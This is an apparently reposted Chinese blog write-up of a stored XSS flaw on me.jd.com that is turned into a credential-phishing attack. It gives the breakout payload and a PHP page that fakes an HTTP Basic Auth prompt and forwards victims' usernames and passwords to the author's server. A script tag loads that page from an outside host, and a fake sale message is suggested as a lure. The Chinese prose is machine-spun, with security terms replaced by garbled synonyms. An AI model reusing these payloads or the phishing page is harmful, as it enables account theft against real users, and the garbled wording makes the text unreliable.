实战操作XSS缝隙对me.jd.com进行根本验证垂钓 8090安适门户
这是几个月前的对象了。其时还在JD实习的时候,可惜发出来没人重视,推了半天才改削。这里发出来分享给大家。
什么是XSS
在测试部博客中分享过?p=5241, XSS全称(Cross Site Scripting) 跨站脚本打击,简单来说就是指打击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而到达打击者的目的。
在安适测试中常用<script>alert(1)</script>验证方针是否存在XSS,这也给很多开发人员与测试人员造成误区,认为XSS就只是弹个框那么简单。其实XSS可以做很多工作。好比cookie偷取,根本验证垂钓,XSS蠕虫打击等等等等。下面就结合咚咚客户端与me.jd.com之间的XSS缝隙做一下进一步的深入挖掘以及操作,做一个根本验证垂钓的例子。
打击场景介绍
咚咚客户端在编纂小我私家资料->兴趣喜好字段中被为对字段做安适过滤,(见图1)这个字段直接存入passport中,而在me.jd.com直接读取passport时,也并未查抄该字段是否存在打击代码直接泛起给用户造成XSS打击。
XSS缝隙验证代码:</script><script>alert(‘test by lenny’)</script><script>
操作XSS进行根本认证垂钓
很明显,此刻只是能验证缝隙存在并不能说明任何问题。此刻开始扩散打击面。在外网搭建垂钓环境。
① 筹备鱼饵-结构垂钓页面
我用PHP写了一个垂钓页面,代码如下(图3):
<?
error_reporting(0);
/* 查抄变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/
if((!isset($_SERVER['PHP_AUTH_USER']))||(!isset($_SERVER['PHP_AUTH_PW']))){
/* 空值:发送孕育产生显示文本框的数据头部*/
header('WWW-Authenticate: Basic realm="'.addslashes(trim($_GET['info'])).'"');
header('HTTP/1.0 401 Unauthorized');
echo'Authorization Required.';
exit;
}elseif((isset($_SERVER['PHP_AUTH_USER']))&&(isset($_SERVER['PHP_AUTH_PW']))){
/* 变量值存在,查抄其是否正确 */
header("Location: ?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
大抵意思就是通过结构HTTP头报文,向浏览器倡议伪造的根本验证请求,并将垂钓告成后的用户名以及暗码回发到我的处事器上。
② 将鱼饵挂上垂钓线-将垂钓页面嵌入到me.jd.com
再次变动兴趣喜好字段为:</script><script src=http://www.8090-sec.com/archives/911/”?id=yVCEB3&info=put+your+jd+account“></script><script>
此中src字段就是我伪造的垂钓页面的URL。
③ 开始fishing-散播垂钓页面
怎么散播出去呢?右下角的一起逛是个不错的选择。蛊惑里面的小伙伴们点击你的垂钓页面。Maybe你可以这样说“热销大促,仅限双12,详见下方连接”。固然上面这些话都是我YY出来的。只是说明垂钓的每个法式,其时为了测试,我就本身钓本身吧。点击URL,提示输入帐号暗码(见图4),输入完成后并无异样(见图5)
④ 拉网上钩-check垂钓后台,告成获取用户名暗码
不久不多说见下图吧
说在最后
其实这种XSS操作方法已经不在别致,前段时间QQ空间上面几处XSS缝隙让腾讯栽了大跟头。其实还有XSS偷取cookie,这种方法可以获取cookie中的Session ID到达绕过处事端登录的登录逻辑,只要把偷取的cookie导入浏览器我们就可以不输入帐号暗码直接登陆进他人的帐号。同时还有XSS蠕虫,这是XSS与CSRF相共同出来的产物。XSS是根本,然后共同处事端验证不完全的CSRF缝隙到达更大的打击面。举个例子,像是之前微博蠕虫(只要看过某人的微博就是自动存眷某人)贴吧蠕虫(看过某个帖子就是自动答复这个帖子)都是XSS蠕虫,神不知鬼不觉。用户层面上是无感知的,将完全不会有任何察觉。这是XSS进阶打击手段。
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12694.html